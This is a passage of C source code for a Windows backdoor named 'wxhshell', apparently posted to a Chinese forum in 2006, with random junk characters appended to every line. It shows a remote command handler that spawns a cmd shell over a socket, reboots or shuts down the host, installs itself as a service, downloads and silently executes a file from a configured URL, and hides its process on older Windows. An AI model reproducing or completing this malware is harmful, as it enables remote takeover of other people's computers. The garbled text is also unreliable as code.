      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (}|QSf:  
    break; ,dG2[<?o  
  } )<vU F]e~  
  // 安装 ,xJ1\_GI`  
  case 'i': { ~ e4Pj`?=K  
    if(Install()) j> ?0Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`<(T)rs  
    else 6;:s N8M+1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xjplJ'jB  
    break; m-M.F9R  
    } nisW<Q`uB  
  // 卸载 +] .Zs<  
  case 'r': { T/A[C  
    if(Uninstall()) POl[]ni=>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qNH= W?T8.  
    else 9qHbV 9,M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "8'aZ.P  
    break; %s^2m"ca}=  
    } ]4$t'wI.  
  // 显示 wxhshell 所在路径 !@r1B`]j+"  
  case 'p': { 2}ttC m  
    char svExeFile[MAX_PATH]; _aR_ [  
    strcpy(svExeFile,"\n\r"); {!$E\e^d  
      strcat(svExeFile,ExeFile); iEtnwSt  
        send(wsh,svExeFile,strlen(svExeFile),0); C_&-2Z  
    break; ?(up!3S'x  
    } /]mfI&l+9  
  // 重启 ~ PO)>;  
  case 'b': { <Ag`pZ<s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N<e=!LV  
    if(Boot(REBOOT)) '\&t3?;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \5MW65  
    else { =lE_ Q[P  
    closesocket(wsh); vw;GbQH(  
    ExitThread(0); xcF:moL  
    } %`kO\q_  
    break; 7V^\fh5~  
    } E&}@P0^  
  // 关机 VSW:h  
  case 'd': { U X?EOrfJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'T8(md299  
    if(Boot(SHUTDOWN)) v*Fr #I0U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * mzJ)4A  
    else { v(=?ge YLo  
    closesocket(wsh); zNu>25/)(  
    ExitThread(0); 0#gu7n|J  
    } KfSI6 Y _  
    break; ,-C%+SC  
    } y@5{.jsr_  
  // 获取shell .d^XM  
  case 's': { ifA)Ppt<`  
    CmdShell(wsh); 8BL ]]gT-I  
    closesocket(wsh); *gq~~(jH  
    ExitThread(0); Z'vic#  
    break; O>5xFz'm  
  } PD- <D~7  
  // 退出 tSP)'N<  
  case 'x': { <6 LpsM}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XIgGE)n  
    CloseIt(wsh); 0Y%u[i/  
    break; r34q9NFT5  
    } )2Ru} -H  
  // 离开 N^)\+*tf1  
  case 'q': { d)_fI*:f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m0: IFE($  
    closesocket(wsh); 0/1Ay{ns  
    WSACleanup(); YA";&|V  
    exit(1); KA=cIm  
    break; 1ZUmMa1(  
        } Rl. YF+YH  
  } *A2D}X3s  
  } (1t b  
-HE@wda  
  // 提示信息 &YSjwRr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (?G?9M#7_  
} -3z$~ {  
  } ,)S(SnCF  
Kx-s95t  
  return; N8]DW_bsB  
} kM#ZpI&0%  
`t@Rh~B  
// shell模块句柄 Pjs L{,  
int CmdShell(SOCKET sock) bJ~@ k,'  
{ gc ce]QS  
STARTUPINFO si; _iJ8*v 8A  
ZeroMemory(&si,sizeof(si)); jD`p;#~8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kp{q5J6/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'b?Px}  
PROCESS_INFORMATION ProcessInfo; (M>[D!Yt  
char cmdline[]="cmd"; B 66-l!xa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d x/NY1  
  return 0; yF~iVt  
} 6N6}3J5  
qu}&4_`%:V  
// 自身启动模式 4 Qo(Wl  
int StartFromService(void) 3NLC~CJ  
{ ^Yz.}a##w2  
typedef struct p$qpC$F  
{ U2lDTRt  
  DWORD ExitStatus; Vb _W&Nwd  
  DWORD PebBaseAddress; ZwC\n(_y  
  DWORD AffinityMask; |#87|XIJ&~  
  DWORD BasePriority; aUqVcEU1  
  ULONG UniqueProcessId; -naj.omG|  
  ULONG InheritedFromUniqueProcessId; 62}rZVJq  
}   PROCESS_BASIC_INFORMATION; 6 4fB$  
=;) M+"  
PROCNTQSIP NtQueryInformationProcess; ogOUrJ}P  
QSaJb?I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `egyk)"aM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _&U5 u  
|i}5vT78  
  HANDLE             hProcess; _ ?\4k{ET  
  PROCESS_BASIC_INFORMATION pbi; O%>FKU>(?  
R*DQm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `T-lBwH  
  if(NULL == hInst ) return 0; ,h#U<CnP#  
7%%FYHMO:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "K!9^!4&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZRK1 UpP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -C>q,mDJZ  
)\!-n]+A  
  if (!NtQueryInformationProcess) return 0; na%DF@Rt#  
!6yyX}%o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !9n!:"(r  
  if(!hProcess) return 0; N ?RJuDW  
]+OHxCj:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hj8S".A_  
#fuc`X3:HL  
  CloseHandle(hProcess); >z,SN  
6F@2:]W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pejG%pJ  
if(hProcess==NULL) return 0; m^9[k,;K  
[pc6!qhDG&  
HMODULE hMod; 8|*=p4_fn  
char procName[255]; 5UTIGla  
unsigned long cbNeeded; o:.6{+|N  
7[b]%i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -UhSy>m  
AXQG  
  CloseHandle(hProcess); XW^Sw;[efZ  
]Uy cT3A  
if(strstr(procName,"services")) return 1; // 以服务启动 _(TYR*  
SviGLv;oR  
  return 0; // 注册表启动 #nzVgV]  
}  .L vg $d  
bsn.HT"5  
// 主模块 qMA K"%x  
int StartWxhshell(LPSTR lpCmdLine) ,rO>5$w.  
{ jgkJF[t`  
  SOCKET wsl; #Q6.r.3@x  
BOOL val=TRUE; cc$L56q  
  int port=0; W,g0n=2V  
  struct sockaddr_in door; HZG<aY="  
oD0N<Ln}  
  if(wscfg.ws_autoins) Install(); #U=}Pv~wM  
=$^<@-;  
port=atoi(lpCmdLine); LHS^[}x^1  
6{qI  
if(port<=0) port=wscfg.ws_port; xpzQ"'be  
Hy_}e"  
  WSADATA data; 2".^Ma^D!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {|jrYU.k~  
DM73 Nn^5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z6`oGFq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n*HRGJ  
  door.sin_family = AF_INET; .QaHE`e{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gk*Md+  
  door.sin_port = htons(port); DH5]Kzb/  
jDaWmy<ha  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m V U(b,  
closesocket(wsl); us:V\V  
return 1; jW?siQO^  
} L'*P;z7<  
l$:.bwXXO  
  if(listen(wsl,2) == INVALID_SOCKET) { 2u> [[U1:  
closesocket(wsl); R>3a?.X  
return 1; "]"!"#aMv  
} !GNLq.rQ  
  Wxhshell(wsl); neHozmm|  
  WSACleanup(); ub#>kCL9  
i l)LkZ@  
return 0; .\W6XRw  
0( s io\  
} dV5aIj  
f\Fk+)e@  
// 以NT服务方式启动 :=<0Z1S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e2onR~Cf  
{ H"_]Hq  
DWORD   status = 0; mJ>@Dh3>G  
  DWORD   specificError = 0xfffffff; bhI yq4N  
r%QnV0L^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U;QN+fF]u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #kuk3}&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <MPoDf?h  
  serviceStatus.dwWin32ExitCode     = 0; lF=l|.c  
  serviceStatus.dwServiceSpecificExitCode = 0; <Bmqox0  
  serviceStatus.dwCheckPoint       = 0; ][b2Q>  
  serviceStatus.dwWaitHint       = 0; X1P_IB  
(IrX \Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e>Z F? (a0  
  if (hServiceStatusHandle==0) return;  h,D6MP  
VHyP@JB  
status = GetLastError(); G?y'<+Awt  
  if (status!=NO_ERROR) =t+{ )d.w  
{ SSS)bv8m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fe4QWB6\U  
    serviceStatus.dwCheckPoint       = 0; >/kwy2  
    serviceStatus.dwWaitHint       = 0; 7= o2$  
    serviceStatus.dwWin32ExitCode     = status; 4/Vy@h"A3  
    serviceStatus.dwServiceSpecificExitCode = specificError; hKT]M[Pv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N'#Lb0`B  
    return; CD]2a@j {  
  } wc-ll&0Z  
ql Uw;{;p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7jb{E+DrG  
  serviceStatus.dwCheckPoint       = 0; &I[ITp6y 0  
  serviceStatus.dwWaitHint       = 0; I3 %P_oW'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); owA0I'|V-A  
} {GaQV-t  
$rZ:$d.C  
// 处理NT服务事件,比如:启动、停止 4zF|}aiQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e<wRA["  
{ 0P5!fXs*  
switch(fdwControl) 9}4EW4  
{ xELnik_L2  
case SERVICE_CONTROL_STOP: .CrrjS w  
  serviceStatus.dwWin32ExitCode = 0; ~)S Q{eK?&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pearf2F  
  serviceStatus.dwCheckPoint   = 0; .>(?c92  
  serviceStatus.dwWaitHint     = 0; 4LCgQS6  
  { A/ eZ!"Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HzO6hb{jJO  
  } YzcuS/~x  
  return; AX|-Gv  
case SERVICE_CONTROL_PAUSE: R|Oy/RGY$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5 i1T?  
  break; ! ~' \Ey  
case SERVICE_CONTROL_CONTINUE: Kb_R "b3v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gc'C"(TO(  
  break; 4{'0-7}  
case SERVICE_CONTROL_INTERROGATE: ^ ExA  
  break; [\hk_(}  
}; *>=vSRL0_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /S]W< 8d  
} a<.7q1F  
>.D0McQg  
// 标准应用程序主函数 ;w(]z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) + *YGsM`E9  
{ BO5gwvyI  
@-z#vJ5Qe{  
// 获取操作系统版本 AUloP?24  
OsIsNt=GetOsVer(); XA[G F6W,Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W#<&(s4  
`ag7xd!  
  // 从命令行安装 $jYwV0  
  if(strpbrk(lpCmdLine,"iI")) Install(); ub "(,k P  
s$Il;  
  // 下载执行文件 {__Z\D2I  
if(wscfg.ws_downexe) { 1}E`K#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qAH@)}  
  WinExec(wscfg.ws_filenam,SW_HIDE); HQ%-e5Q  
} Z\=].[,w4  
~P*t_cpZ  
if(!OsIsNt) { lN,8(n?g  
// 如果时win9x,隐藏进程并且设置为注册表启动 E"Z9 NDgl#  
HideProc(); wHW";3w2~  
StartWxhshell(lpCmdLine); Lw=.LN  
} PmtBu`OkV  
else \C3ir&  
  if(StartFromService()) o7feH 6Sh  
  // 以服务方式启动 (}Ql#q K  
  StartServiceCtrlDispatcher(DispatchTable); #vy:aq<bjE  
else  qO  
  // 普通方式启动 ]P TTI\n  
  StartWxhshell(lpCmdLine); PN{l)&K2.  
u7u8cVF  
return 0; q+{-p?;;  
}
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只看该作者 1 发表于: 2006-10-10
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